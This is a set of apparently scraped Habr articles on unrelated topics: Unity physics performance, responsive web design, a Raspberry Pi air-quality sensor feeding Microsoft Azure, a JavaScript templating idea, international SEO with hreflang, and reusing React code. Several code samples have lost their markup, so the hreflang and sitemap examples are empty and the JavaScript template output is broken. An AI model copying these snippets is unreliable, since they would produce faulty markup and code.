Как только вы добавили коллайдер на объект — забудьте про какое-либо воздействие на него или объекты, в которых он содержится. Обычный коллайдер — исключительно статический объект. Дерево, например, может быть с одним коллайдером. Если дерево может упасть на игрока — дерево будет падать вместе с производительностью. Если это дерево растет из волшебного питательного облака, которое коллайдера не имеет, но может перемещаться — это будет сопровождаться падением производительности.
###### 2. Если объект движется или вращается — он должен быть твердым телом т.е. иметь компонент Rigidbody.
Про это написано в документации, да. Которую не обязательно вдумчиво читать, чтобы начать делать игру, потому Unity очень прост и интуитивно понятен.
Rigidbody меняют отношение физического движка к объекту. На него начинают воздействовать внешние силы, он может иметь линейную и угловую скорости, а самое главное — твердое тело может двигаться и вращаться средствами физического движка, не вызывая полный пересчет физики.
Существует два типа твердых тел — обычные и кинематические. Обычные тела взаимодействуют друг с другом и обычными коллайдерами — одно тело не может пройти сквозь другое. Кинематические тела следуют упрощенным правилам симуляции — на них не воздействуют никакие внешние силы, гравитация — в том числе. Они свободно могут проходить друг через друга и коллайдеры, а вот обычные твердые тела они отталкивают, как будто имея бесконечную массу.
Если объекты не жалко отдать под контроль физического движка — используйте обычные твердые тела. Например, если вам нужно красиво скатить камни со скалы. Если ваши скрипты или аниматоры управляют объектом напрямую — используйте кинематические тела, так вам не придется постоянно бороться с движком и случайными столкновениями объектов. Например, если у вас анимированный персонаж или управляемая ракета, взрывающаяся при контакте с чем-то.
###### 3. Если объект является твердым телом — двигаться и вращаться он должен через методы твердого тела.
Забудьте про прямое обращение к Transform'у объекта сразу же после добавления к нему коллайдера. Отныне и навсегда, Transform — ваш враг и убийца производительности. Перед тем как написать transform.position =… или transform.eulerAngles = ..., произнесите фразу «я сейчас абсолютно четко понимаю, что делаю, меня устраивают те тормоза, которые будут вызваны этой строкой». Не забывайте про иерархические связи: если вы, вдруг, сдвинете объект, содержащий твердые тела — произойдет пересчет физики.
###### Есть три уровня управления твердым телом:
— Самый высокий и, следовательно, естественный, уровень — через силы. Это методы AddForce и AddTorque. Физический движок учтет массу тела и правильно посчитает результирующую скорость. Все взаимодействия тел происходят на этом уровне.
— Средний уровень — изменение скоростей. Это свойства velocity и angularVelocity. На их основе вычисляются силы, влияющие на тела при их взаимодействии, а также, очевидно, их положения в следующий момент времени. Если у твердого тела очень маленькая скорость — оно «засыпает», для экономии ресурсов.
— Самый низкий уровень — непосредственно координаты объекта и его ориентация в пространстве. Это методы MovePosition и MoveRotation. На следующей итерации вычисления физики (это важно, поскольку каждый последующий вызов метода в рамках одного кадра заменяет вызов предыдущего) они выполняют телепортацию объекта в новое положение, после которой он живет как раньше. В нашей игре используется именно этот уровень, и только он, потому что он предоставляет полный контроль над объектом.
Что остается за бортом? Включение\выключение объекта и масштаб. Я не знаю, есть ли способ изменить размер объекта, не смущая движок. Вполне возможно, что нет. Выключение объекта проходит безболезненно, а включение… да, вызывает пересчет физики, в окрестностях включенного объекта. Поэтому старайтесь не включать одновременно слишком много объектов, растяните этот процесс во времени, чтобы пользователь не заметил.
Есть закон, не влияющий на производительность, но влияющий на работоспособность: твердое тело не может быть частью твердого тела. Родительский объект будет доминировать, поэтому ребенок будет или стоять на месте относительно родителя, или вести себя непредсказуемо и неправильно.
Есть еще одна особенность Unity, не относящаяся к физике, но достойная упоминания: динамическое создание и удаление объектов через методы Instantiate/Destroy — БЕЗУМНО медленный процесс. Я боюсь себе даже представить, что там происходит под капотом во время создания объекта. Если вам нужно создавать и удалять что-то динамически — используйте фабрики и заправляйте их нужными объектами во время загрузки игры. Instantiate должен вызываться в крайнем случае — если у фабрики вдруг закончились свободные объекты, а про Destroy забудьте навсегда — все созданное должно использоваться повторно.
#### Применение законов на практике
(в этом разделе находится ход рассуждений при создании игры и ее особенности)
Уровень, очевидно, должен вращаться и двигаться.
Облегчим себе жизнь навечно, разместив ось вращения уровня — самолетик — в начале координат. Теперь мы сможем вычислять расстояние от точки до него, вычисляя длину вектора координат точки. Мелочь, а приятно.
Совместное движение объектов легко реализуется через иерархию объектов в Unity, потому что дети являются частью родителя. Например, описанная структура уровня логично реализуется следующим образом:
`- Ось вращения`
`- - \ Уровень`
`- - - \ Сегмент 1`
`- - - - \ Блок 1 (Collider)`
`- - - - \ ...`
`- - - - \ Блок N`
`- - - \ Сегмент 2 ...`
`- - - \ Сегмент 3 ...`
`- - - \ Сегмент 4 ...`
(Можно даже обойтись без объекта уровня)
Скрипт на оси получает данные с гироскопа и выставляет ей соответствующий угол… И нарушает сразу множество правил, потому что вращение передастся по иерархии на коллайдеры, что сведет физический движок с ума. Придется делать ось твердым телом и вращать ее через соответствующий метод. Но что с движением уровня? Очевидно, что ось вращения и объект уровня перемещаться не будут, каждый сегмент нужно двигать персонально, иначе мы сталкиваемся с проблемой бесконечности. Значит, твердыми телами должны быть сегменты. Но у нас уже есть твердое тело выше в иерархии и твердое тело не может быть частью твердого тела. Логичная и элегантная иерархия не подходит, все придется делать руками — и вращение, и перемещение, без использования объекта для оси вращения. Будьте готовы к такому, если у вас уникальные геймплейные фичи.
Если двигать непосредственно сегменты пришлось бы и так, то вращать их придется вынужденно. Основная сложность в том, что в физическом движке Unity нет метода «вращать объект вокруг произвольной точки» (он есть у Transform, но не искушайтесь). Есть только «вращать вокруг своего центра». Это логично, потому что вращение вокруг произвольной оси — одновременно и вращение, и движение, а это две разные операции. Но его можно имитировать. Сначала вращаем сегмент вокруг своей оси, потом вращаем координаты «своей оси» вокруг самолета. Благодаря тому, что самолет у нас в начале координат, не придется вспоминать даже школьную геометрию и лезть в википедию, в Unity уже все есть. Достаточно перевести угол поворота в кватернион и умножить его на координаты точки. Кстати, узнал я об этом прямо во время написания статьи, до этого использовалась матрица поворота.
У нас есть враги, которые отталкивают самолет в стену, надеясь убить. Есть щит, который отталкивает самолет от стен, помогая выжить. Реализовано это тривиально — есть вектор смещения, который каждый кадр прибавляется к координатам каждого сегмента и сбрасывается после этого. Любой желающий пнуть самолетик, через специальный метод, может оставить вектор своего пинка, который прибавится к этому вектору смещения.
В конечном итоге, настоящие координаты сегмента, каждый кадр, вычисляются центром управления движением уровня как-то так:
```
Vector3 position = segment.CachedRigidbody.position;
Vector3 deltaPos = Time.deltaTime * Vector3.left * settings.Speed;
segment.truePosition = Quaternion.Euler( 0, 0, deltaAngle ) * ( position + deltaPos + movementOffset );
```
После всех вычислений и костылей, необходимых для работы точной стыковки сегментов при регенерации, segment.truePosition отправляется в метод MovePosition твердого тела сегмента.
#### Выводы
Насколько все это быстро работает? На старых флагманах — Nexus 5 и LG G2 — игра летает на 60 FPS, с еле заметной просадкой во время включения новых коллайдеров во время генерации сегмента (это неизбежно и никак не обходится) и выдвигания червяков из земли (можно нагородить какой-то ад, чтобы это обойти, но сейчас там осознанное нарушение третьего закона). 40 стабильных FPS выдает любое устройство с гироскопом, которое нам попадалось. Без знания и учета всех законов, производительность была, мягко сказать, неудовлетворительной и телефоны перегревались. Настолько, что я думал написать свой простенький специализированный движок для 2д-физики. К счастью, физика в Unity оказалось достаточно гибкой, чтобы все проблемы можно было обойти и создать уникальную игру, достаточно было лишь пары недель экспериментов.
Теперь, зная все главные подводные камни физического движка Unity, вы сможете быстро склонировать нашу игру, разрушив мечты, жизни и веру трех бедных студентов в человечество. Я надеюсь, эта статья сэкономит вам много времени в будущем и поможет найти не совсем очевидные нарушения законов производительной физики в своих проектах.
Читайте документацию и экспериментируйте, даже если пользуетесь простыми и интуитивно понятными инструментами. | https://habr.com/ru/post/248391/ | null | ru | null |
# 9 основных принципов отзывчивого веб-дизайна
Отзывчивый дизайн — отличное решение проблемы корректного отображения сайта на разных экранах. Однако новичкам зачастую трудно понять основы, обучаясь только по книгам/статьям. С каждым днём появляется всё больше различных устройств, имеющих разные размеры экрана, поэтому создание дизайна в пикселях и только для настольных компьютеров/смартфонов остаётся в прошлом. Именно поэтому сейчас стоит изучить принципы *отзывчивого* дизайна — дизайна, совмещающего в себе адаптивность и резиновость (если вы ещё не знакомы с адаптивным дизайном, то [эта статья](http://bradfrost.com/blog/post/the-principles-of-adaptive-design) будет хорошим выбором для начала изучения).
Отзывчивый vs Адаптивный веб-дизайн
-----------------------------------
Может показаться, что это одно и то же. Однако оба этих вида дизайна дополняют друг друга и подходят каждый для своей задачи.
Поток
-----
Когда размер экрана уменьшается, содержимое страницы начинает занимать больше высоты, и элементы начинают смещаться вниз. Такое поведение называется *потоком*. Это может быть труднодоступным для понимания, если раньше вы использовали фиксированные размеры элементов. Однако, когда вы начнёте использовать поток, вы поймёте принцип его работы.
Относительные единицы измерения
-------------------------------
Область просмотра страницы может быть монитором, экраном мобильного или чем угодно ещё. Плотность пикселей на разных экранах также разная, поэтому нам нужны гибкие единицы измерения, работающие везде. Отзывчивый дизайн — именно тот случай, когда относительные единицы измерения вроде процентов становятся действительно полезными. С помощью процентов мы можем задать блоку ширину в 50%, и на любом устройстве он будет занимать лишь половину экрана.
Контрольные точки (Breakpoints)
-------------------------------
Контрольные точки позволяют менять расположение блоков на странице только в случае использования экрана с определёнными размерами. Например, на настольных компьютерах у сайта будет три колонки, а на мобильных — только одна. Как вы расставите контрольные точки, зависит от поведения контента. Если содержимое страницы «ползёт», то определённо следует добавить контрольную точку. Однако, контрольные точки следует использовать с осторожностью — вы можете в них запутаться.
Max- и min-значения
-------------------
Контент, занимающий всю ширину экрана — это здорово, если он отображается на мобильном. А если вы откроете страницу через ваш телевизор? Вряд ли увиденная картина обрадует вас. Поэтому здравым решением будет использование минимальных и максимальных значений. Например, если задать блоку свойства `width: 100%` и `max-width: 1000px`, то он будет отображаться на весь экран, если ширина экрана меньше 1000 пикселей; в противном случае, блок будет занимать 1000 пикселей.
Вложенные объекты
-----------------
Помните `position: relative`? Если у вас будет много элементов, зависящих от расположения других элементов, то их будет тяжело контролировать. Намного проще и правильнее обернуть эти элементы в один контейнер. Кстати, это тот случай, когда статичные единицы измерения вроде пикселей помогут вам. Они полезны для содержимого, которое вы не хотите адаптировать к размеру экрана — например, это может быть логотип или кнопка.
Desktop или mobile first
------------------------
С технической стороны нет никаких отличий: вы можете писать базовую разметку для мобильных, и расставлять ключевые точки для десктопов (mobile first) и наоборот. Часто люди не знают, какой подход выбрать. Подумайте как следует и выберите подходящий вам подход.
Веб-шрифты vs системные шрифты
------------------------------
Хотите использовать на своём сайте круто смотрящуюся гарнитуру Futura или Didot? Используйте веб-шрифты! Хоть они и выглядят красиво, не стоит забывать, что каждый подключённый шрифт будет загружен. Соответственно, чем больше шрифтов, тем медленнее загружается страница. С другой стороны, системные шрифты загружаются моментально за исключением случаев, когда пользователь не имеет локально установленного шрифта, используемого на странице. В таких случаях браузер будет использовать шрифт по умолчанию.
Растровые vs векторные изображения
----------------------------------
Имеет ли ваше изображение множество мелких деталей и впечатляющих эффектов? Если да, то используйте растровый формат. В противном случае используйте векторный формат. Для растровых изображений используйте форматы jpg, png или gif, для векторных лучшим выбором будут SVG и иконочные шрифты. Каждый из форматов имеет свои преимущества и недостатки. В любом случае, помните о размере изображений — ни одна картинка не должна попасть в онлайн, не будучи оптимизированной (сжатой). Векторные изображения зачастую избавлены от лишнего размера, однако они не поддерживаются старыми браузерами. Также стоит помнить, что если векторное изображение содержит много деталей, то оно может весить больше растрового.
 | https://habr.com/ru/post/243247/ | null | ru | null |
# Мониторинг качества воздуха с использованием Raspberry Pi 4, датчика Sensirion SPS30 и Microsoft Azure
В материале, перевод которого мы публикуем сегодня, речь пойдёт о том, как подключить датчик качества воздуха Sensirion Particulate Matter Sensor SPS30 к Raspberry Pi 4, и о том, как, пользуясь возможностями Microsoft Azure, представить сведения о качестве воздуха в удобном для восприятия виде.
[](https://habr.com/ru/company/ruvds/blog/527234/)
Аппаратные средства и программное обеспечение
---------------------------------------------
* Датчик качества воздуха Sensirion Particulate Matter Sensor SPS30.
* Одноплатный компьютер Raspberry Pi 4 Model B.
* Макетная плата.
* Соединительные провода.
* Дистрибутив Linux, собранный с помощью Yocto Project.
* Программы на Rust и Python.
* Облачная платформа Microsoft Azure.
Сборка ОС
---------
Для того чтобы использовать в этом проекте Raspberry Pi 4 нужно для начала собрать минимальный дистрибутив Linux с помощью Yocto Project.
Клонируем Yocto-слой BSP для Raspberry Pi [отсюда](https://github.com/agherzan/meta-raspberrypi) и переключимся на коммит `497a90a`. Кроме того, воспользуемся коммитом `35364c0ce` [отсюда](https://github.com/openembedded/meta-openembedded) и коммитом `ca701cb92d` [отсюда](https://git.yoctoproject.org/git/poky). Соберём образ и скопируем его на SD-карту, пользуясь инструкциями из репозитория. Проверим работоспособность образа.
Модифицируем образ, добавив в файл `rpi-build/conf/local.conf` следующее:
1. `IMAGE_ROOTFS_EXTRA_SPACE = «8388608»` — для выделения дополнительного пространства;
2. `ENABLE_I2C = «1»` и `KERNEL_MODULE_AUTOLOAD_rpi += «i2c-dev i2c-bcm2708»` — для включения I2C;
3. `CORE_IMAGE_EXTRA_INSTALL += «bash nano tar zip openssh curl ca-certificates ntp tzdata packagegroup-core-buildessential python3 python3-pip i2c-tools git startup-script rustup»` — для добавления дополнительных пакетов.
Продолжим модификацию образа, добавим путь к слою [meta-mylayer](https://github.com/david-gherghita/meta-mylayer) в список `BBLAYERS`, который находится в файле `rpi-build/conf/bblayers.conf`. Используем следующие рецепты:
1. `ntp` — для получения точного времени.
2. `rustup` — для копирования скрипта установки Rust в rootfs.
3. `startup-script` — для копирования и инициализации скрипта, который организует подключение к WiFi-сети и запускает сервис `ntp`.
4. `tzdata` — для установки часового пояса. Этот файл нужно модифицировать в соответствии с используемым часовым поясом.
5. `wpa_supplicant` — для настройки WiFi-сети. В этот файл нужно внести данные беспроводной сети, к которой будет подключаться устройство.
Повторно соберём образ и скопируем его на SD-карту.
Подключение датчика к Raspberry Pi
----------------------------------
Для подключения датчика к Raspberry Pi воспользуемся макетной платой и двумя резисторами на 10 кОм. Соберём всё в соответствии со схемой, приведённой на с. 16 [технического описания](https://www.sensirion.com/fileadmin/user_upload/customers/sensirion/Dokumente/9.6_Particulate_Matter/Datasheets/Sensirion_PM_Sensors_SPS30_Datasheet.pdf) датчика.
*Подключение датчика SPS30 к Raspberry Pi*
В ходе работы нам пригодится [схема](https://www.raspberrypi.org/documentation/usage/gpio/) выводов GPIO Raspberry Pi 4.
*Схема выводов GPIO Raspberry Pi 4*
Вот как датчик подключается к Raspberry Pi:
1. Пин `VDD (1)` SPS30 подключаем к пину `4 (5V power)` Raspberry Pi.
2. Пин `SDA (2)` SPS30 подключаем к пину `3 (GPIO 2 (SDA))` Raspberry Pi.
3. Пин `SCL (3)` SPS30 подключаем к пину `5 (GPIO 3 (SCL))` Raspberry Pi.
4. Пин `SEL (4)` SPS30 подключаем к пину `6 (Ground)` Raspberry Pi.
5. Пин `GND (5)` SPS30 подключаем к пину `6 (Ground)` Raspberry Pi.
Проверим соединение, выполнив на Raspberry Pi команду `i2cdetect -y 1` и узнав, обнаружено ли устройство с адресом `0x69`.
Чтение данных
-------------
Установим на Raspberry Pi Rust, воспользовавшись скриптом `rustup`.
Загрузим драйвер для датчика:
```
git clone https://github.com/david-gherghita/sps30-i2c-rs.git
```
Проверим правильность работы системы следующей командой:
```
cargo run --example linux
```
Отправка данных в облако
------------------------
Создадим учётную запись на сайте [Microsoft Azure](http://azure.microsoft.com/en-us).
На вкладке Azure Services создадим новую группу ресурсов (Resource Group).
*Создание новой группы ресурсов*
Создадим в группе ресурсов новый IoT-хаб (IoT Hub) и перейдём на его страницу.
В разделе `Explorers` щёлкнем по `IoT Devices` и добавим новое устройство. Тут нужно обратить внимание на поле `Primary Connection String`, так как именно эта строка будет использоваться для подключения платы к облаку.
*Настройка нового устройства*
Скомпилируем и запустим программу на Rust (её можно найти в разделе «Код»), используя `cargo`, и настроим зависимости проекта:
```
linux-embedded-hal = "0.3.0"
sps30-i2c = "0.1.0"
```
Заполним строку соединения (Primary Connection String), проверим путь к Rust-программе и запустим Python-программу (её тоже можно найти в разделе «Код»).
Если всё сделано правильно — можно будет увидеть, как в IoT-хаб поступают данные.
*Данные поступают в IoT-хаб*
Теперь вернёмся в Microsoft Azure, создадим задание `Stream Analytics` и добавим новый поток входных данных из IoT-хаба, проверив, чтобы в качестве `Event serialization format` был выбран `JSON`.
На вкладке `Input Preview` должны появиться новые данные.
*Данные, полученные с Raspberry Pi*
Для того чтобы просматривать эти данные в более удобном виде, в форме графиков, нужно добавить к заданию `Stream Analytics` выход типа `Power Bi`. В качестве `Authentication Mode` нужно указать `User Token`. Это нужно для того чтобы у нас была бы возможность использовать собственное рабочее пространство в роли рабочего пространства `Power Bi`.
Далее, модифицируем функцию выполнения запроса, приведя её к виду, показанному ниже. Это нужно для отправки данных в Power Bi.
```
SELECT
"mass_pm1.0",
"mass_pm2.5",
"mass_pm4.0",
"mass_pm10",
"number_pm0.5",
"number_pm1.0",
"number_pm2.5",
"number_pm4.0",
"number_pm10",
"typical_size",
CAST ("sensor_time" AS datetime) "sensor_time"
INTO
"AQS-PowerBI"
FROM
IoT
```
Для того чтобы наконец воспользоваться данными в Power Bi, нужно перейти на соответствующую страницу, войти в своё рабочее пространство и, пользуясь простым графическим интерфейсом, создать отчёт на основе набора данных, полученного от задания `Stream Analytics`.
*Визуализация данных*
Схема подключения компонентов
-----------------------------
*Подключение компонентов*
Код
---
Вот код Rust-программы, вызываемой Python-скриптом для вывода сведений, полученных с датчика.
```
use linux_embedded_hal::{Delay, I2cdev};
use sps30_i2c::Sps30;
fn main() {
let dev = I2cdev::new("/dev/i2c-1").unwrap();
let delay = Delay;
let mut sensor = Sps30::new_sps30(dev, delay);
let result = sensor.read_measured_values().unwrap();
println!("{}", result.mass_pm1_0);
println!("{}", result.mass_pm2_5);
println!("{}", result.mass_pm4_0);
println!("{}", result.mass_pm10);
println!("{}", result.number_pm0_5);
println!("{}", result.number_pm1_0);
println!("{}", result.number_pm2_5);
println!("{}", result.number_pm4_0);
println!("{}", result.number_pm10);
println!("{}", result.typical_size);
}
```
Вот Python-скрипт, который вызывает программу, написанную на Rust, получает сведения с датчика и отправляет их в Microsoft Azure.
```
#!/usr/bin/python3.8
import os
import asyncio
from azure.iot.device.aio import IoTHubDeviceClient
from azure.iot.device import Message
import time
import subprocess
async def main():
# Подключение устройства к IoT-хабу
conn_str = "TODO"
device_client = IoTHubDeviceClient.create_from_connection_string(conn_str)
await device_client.connect()
while True:
# Чтение показателей датчика
cmd = ['sensor-read/target/release/sensor-read']
process = subprocess.Popen(cmd, stdout=subprocess.PIPE)
results = []
for line in process.stdout:
results.append(float(line))
# Отправка сообщения
msg = Message('{\
"mass_pm1.0": %f,\
"mass_pm2.5": %f,\
"mass_pm4.0": %f,\
"mass_pm10": %f,\
"number_pm0.5": %f,\
"number_pm1.0": %f,\
"number_pm2.5": %f,\
"number_pm4.0": %f,\
"number_pm10": %f,\
"typical_size": %f,\
}' % tuple(results))
await device_client.send_message(msg)
time.sleep(15)
if __name__ == "__main__":
asyncio.run(main())
```
Планируете собрать систему для мониторинга качества воздуха, похожую на ту, о которой шла речь в этой статье?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=monitoring_kachestva_vozduxa_s_ispolzovaniem_raspberry_pi_4__datchika_sensirion_sps30_i_microsoft_azure#order)
[](http://ruvds.com/ru-rub/news/read/123?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=monitoring_kachestva_vozduxa_s_ispolzovaniem_raspberry_pi_4__datchika_sensirion_sps30_i_microsoft_azure) | https://habr.com/ru/post/527234/ | null | ru | null |
# И javascript шаблонизатор
В наше время существует уже немалое количество таковых, не правда ли? Они даже неплохо справляются со своей работой, если надо, к примеру, сформировать HTML за сотые доли секунды – это довольно быстро, и пользователь не чувствует этой задержки. И почему же мы все не кидаемся вовсю использовать шаблонизацию на стороне клиента? Ну вот к примеру несколько пунктов:
– генерировать страницу (бОльшую её часть) становится таки уже накладно;
– если у вас используется смешанная шаблонизация (шаблоны и на javascript, и на вашем любимом скриптовом языке), то возникнет ситуация, когда они у вас дублируются;
Вот о втором пункте мне бы и хотелось поговорить, его решение прямо повлияет на решение первой проблемы — производительности.
Про то, что дублирование шаблонов — это плохо, объяснять не надо? Идея само собой не нова, но ввиду нетривиальности реализации, не пользуется популярностью (по крайней мере, не трубят об этом способе столько, сколько о шаблонизаторах на серверных языках).
Так вот, пишем шаблон, который умеет подхватывать и javascript, и наш любимый perl / php / python / и т.д. Всё логично, все мы это понимаем, хотим, но готовых вариантов не пруд пруди, придется наверняка писать самому, но вот прям сейчас времени в обрез, а потом как-то забывается.
Работа программиста — это 90% времени проектирование, проведение пробных тестов, и 10% времени — написание кода пока нас никто не видит, и не мешает нам. Давайте рассуждать, чего нам надо от шаблонизатора, а потом уже сами напишем его.
На простеньком примере посмотрим на схему в целом.
Шаблон:
> `<ul>
>
> {%topics}
>
> <li class="{?#id == 1}first{|}other{/?}">{#title}li>
>
> {/%topics}
>
> ul>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Данные в виде JSON:
> `[{title: 'Новость',id: 1},{title: 'Статья',id: 2},{title: 'Фото',id: 3},{title: 'Видео',id: 4},{title: 'Аудио',id: 5}]
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Результирующий html
> `<ul>
>
> <li class="first">Новостьli>
>
> <li class="other">Статьяli>
>
> <li class="other">Фотоli>
>
> <li class="other">Видеоli>
>
> <li class="other">Аудиоli>
>
> ul>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В результате обработки нашего шаблона парсером шаблонизатора, на выходе у нас должна быть js библиотечка и модуль к нашему скриптовому языку.
Я опущу часть про то, в каком виде должен быть код для нашего любимого скриптового языка, отметим лишь то, что если ему скормить наш массив хэшей, он должен оперативненько выдать html.
А вот теперь про библиотеку javascript. Если бы мы получали что-то похожее на это (напоминаю — это результирующий код шаблонизатора, и в принципе нам его читабельность что шла, что ехала):
> `(function(){
>
>
>
> zTpl = function(options) {
>
> this.init(options);
>
> return this;
>
> };
>
>
>
> zTpl.prototype = {
>
> init: function(options) {
>
> this.opt = options
>
> },
>
> topics: function(data) {
>
> var out = '';
>
> for (var i=0; i< data.length; i++) {
>
> out += '- if
> (data[i].id == 1) {
>
> out += 'first';
>
> } else {
>
> out += 'other';
>
> }
>
> out += '">'+data[i].title+'';
>
> }
>
> out += '';
>
> return out;
>
> }
>
> };
>
>
>
> })();
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
То уже на стороне клиента мы бы сделали так:
> `var d = [{title: 'Новость',id: 1},{title: 'Статья',id: 2},{title: 'Фото',id: 3},{title: 'Видео',id: 4},{title: 'Аудио',id: 5}];
>
> var tpl = new zTpl();
>
> var html = tpl.topics(d);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
И вот, мы получили то, что хотели:
– генерацию html по шаблону и входному JSON;
– шаблоны у нас используются и скриптовым языком и javascript'ом, отсюда нет дублирования онных;
– за счет того, что у нас шаблоны превращаются в нативный код (скриптового языка и javascript), мы получаем максимально возможную скорость генерации;
Отметим:
– Генерация происходит за счет конкатенации чередующихся между собой переменных и статических данных(строк по сути) шаблона.
– Приведенный шаблон и код, это вершинка айсебрга возможностей нашего будущего шаблонизатора. Здесь будут все плюшки и перелести нашего серверного шаблонизатора, по мере возможности, как то многоуровневая вложенность переменных, рекурсии, и даже подобие кэширования.
Что господа думают о таком развитии событий? Целесообразность сего действа? | https://habr.com/ru/post/104643/ | null | ru | null |
# International SEO | International SEO ranking factors
Let's say, your website offers content, products, or services for people from different regions or countries who speak different languages. Search engines will probably count this as duplicate content, leading to low rankings.
While I'm focused on international SEO in the last 8 years, with this article, I'll help you with basics to manage localized versions of your international site for better SEO.
International SEO ranking factor #1: Hreflang
---------------------------------------------
### How To Set Up Language-specific Pages?
To let Google recognize the local versions of your content and point users to the most appropriate version of your content, use the .
This way, you tell Google that there are specific URLs available for users who speak a particular language and come from a specific location. Google will use this information to show alternate URLs to those users in search results.
### When To Use hreflang Tag?
Google recommends to use the hreflang:
1. If you keep the main content in a single language and translate only the template (e.g. navigation and footer).
2. When the content is nearly identical. It often happens for multi-regional sites in a single language. For example, content in German that targets users from Germany, Austria, and Switzerland.
3. If your site content is fully translated into multiple languages. For example, you have both English and German versions of each page.
### How To Set Up the hreflang Tag?
When adding the hreflang tag, use the bidirectional connection for every language (as in, alternate pages should point to each other). That's the only way (if you don't have a sitemap or the ability to specify HTTP response headers for your site) Google can understand the site's structure correctly. If the hreflang tag is unidirectional, it will be ignored.
The syntax of HTML hreflang link elements is:
Let's look at it in more detail:
* rel = «alternate» — indicates that there are alternate pages;
* hreflang = «xx-XX» — determines the language (хх), and, optionally, region (ХХ) of the page;
* href = «URL» — URL for the version of this page for the specified language/region.
**Example**
The site offers content targeted at:
* English-speaking users regardless of their location (en);
* English-speaking users from Australia (en-au);
* some content is also translated into German (de).
This is how they should be linked (same code must appear on all 3 pages within the section ):
```
```
All content points to similar content in other languages (bidirectional links).
Note, hreflang accepts the ISO 639-1 format for languages and the ISO 3166-1 Alpha 2 format for countries.
### Other methods for indicating your alternate pages:
* Sitemap;
* HTTP Headers.
**1. Adding hreflang to an XML sitemap**
This is an appropriate solution for large multilingual sites that share similar content between multiple domains. As your site grows, adding the hreflang tag to the section of every page can become very tedious.
You can add xhtml:link link element to the XML sitemap:
```
xml version="1.0" encoding="UTF-8"?
http://www.example.com/english/
http://www.example.com/deutschland/
http://www.example.com/english-australia/
```
**2. HTTP Headers**
You can add the hreflang attribute to HTTP Headers of non-HTML files. Say, if you have PDFs in different languages and with different URLs, you can get your site to return HTTP headers with the hreflang annotation:
```
Link: ; rel="alternate"; hreflang="en">
Link: ; rel="alternate"; hreflang="de">
Link: ; rel="alternate"; hreflang="it">
```
**What's x-default?**
Let's say, you're using the x-default value of the hreflang attribute instead of language- and region-identifying ISO formats. That way, you show Google, that you want to display this page when no other language/region matches the user's settings.
In other words, the hreflang=«x-default» attribute creates a fallback page for unmatched languages/regions.
**Example**
site.com/en-uk — the page for English-speaking users from the United Kingdom;
site.com/it-uk — the page for Italian-speaking users from the United Kingdom;
site.com/ — the default page for users worldwide.
So here is the syntax of the hreflang tag:
```
```
Consider adding a fallback page for unmatched languages, especially on language/country selectors or auto-redirecting homepages.
While an essential part of the targeting strategy, the hreflang tag is not a magic bullet.
Google judges the language and location of a webpage by:
* ccTLDs;
* the language of the content;
* currency and physical locations listed.
International SEO ranking factor #2: Domain extension
-----------------------------------------------------
### ccTLD Extensions
Country code top-level domains are strong signal Google uses to determine the location of a web page. With ccTLDs (.it, .cz, .ca, etc.) you're telling search engines that your site targets one particular country. This strategy also helps to remain a simple and elegant URL structure.
International SEO ranking factor #3: Content language
-----------------------------------------------------
### The Page Language
Google uses its own algorithms and determines the language of the visible content on the page. Therefore, avoid using multiple languages on one page, or Google may associate your page with the wrong language/region. Still, it doesn't mean you can't use some words from other languages and expressions, such as brand names or product descriptions.
Search engines do NOT use lang attributes to determine the language on your page.
International SEO ranking factor #4: Currency and address
---------------------------------------------------------
### Currency and Address
Local currency, address, and phone number are all considered to be strong indicators of your location by Google. Add a physical address for every local version of a website — for Google, this is a strong signal.
If possible, create a Google My Business listing for every physical location of your company and link them to country-specific versions of your site so they will rank higher in the local search.
International SEO Potential Pitfalls
------------------------------------
No matter how good Google Support or other sources describe managing multilingual sites, there is always a room for less obvious questions. I want to address two of them:
**1. Are the ISO codes case-sensitive?**
— No, both upper- and lowercase ISO codes are valid to Google, although it's best to follow the standards and use lowercase letters for the language codes and uppercase letters for the optional country codes.
**2. Should I use a separate IP address for each locale-specific site?**
— As said by the Google employee himself: "*Would be wonderful, but it's not necessary*". More on the subject in this short [video](https://www.youtube.com/watch?v=q0k6BBgQgqM).
I will try to answer other unexpected questions in the comments down below.
The Takeout
-----------
If you don't want Google to consider your localized pages to be duplicates, mark them properly. How to do that:
1. Add
tag into HEAD section. Each separate variant of the page requires this tag.
2. The language and location are specified with ISO 639-1 and ISO 3166-1 Alpha 2 codes, respectively.
3. Don't forget to use bidirectional links for hreflang.
4. Use the x-default tag for unmatched languages and countries.
5. Remember, that you can use HTML tags, the XML sitemap, or HTTP Headers. | https://habr.com/ru/post/462321/ | null | en | null |
# Повторное использование кода с помощью React-компонентов
Как часто рано или поздно при решении новой задачи приходит мысль: а нельзя ли для неё переиспользовать код из реализованной ранее аналогичной задачи? Думаю, что в такой момент нами движет что-то среднее между ленью и здравым смыслом. Ну не писать же всё с нуля? Далее появляется подлая мыслишка: а может, просто «скопипастить» и не заморачиваться?)
Концепция повторного использования кода. Зачем нужно писать повторно используемый код?
--------------------------------------------------------------------------------------
Все мы в начале своего «программистского» пути начинали переиспользовать код с ctrl+C ctrl+V. Некоторые продолжают так делать и дальше, аргументируя свои действия: «Ведь код и так будет работать. Зачем тратить время на что-то ещё? Задача решена, давайте следующую!» Соглашусь, код будет работать, но в дальнейшем такой подход неизбежно приведёт к проблемам при изменении и поддержке кодовой базы. Если вам вдруг понадобится поменять логику в коде, который был многократно скопирован, а не грамотно переиспользован, то вам потребуется найти все скопированные фрагменты и внести изменения в каждый из них, а потом ещё и поправить тесты для каждого из этих фрагментов. Вы ведь пишете тесты?
Поэтому, на мой взгляд, лучше всё-таки тратить немного больше времени в начале, создавая код, который можно легко повторно использовать, чем тратить уйму времени на поддержку дублированного кода в будущем.
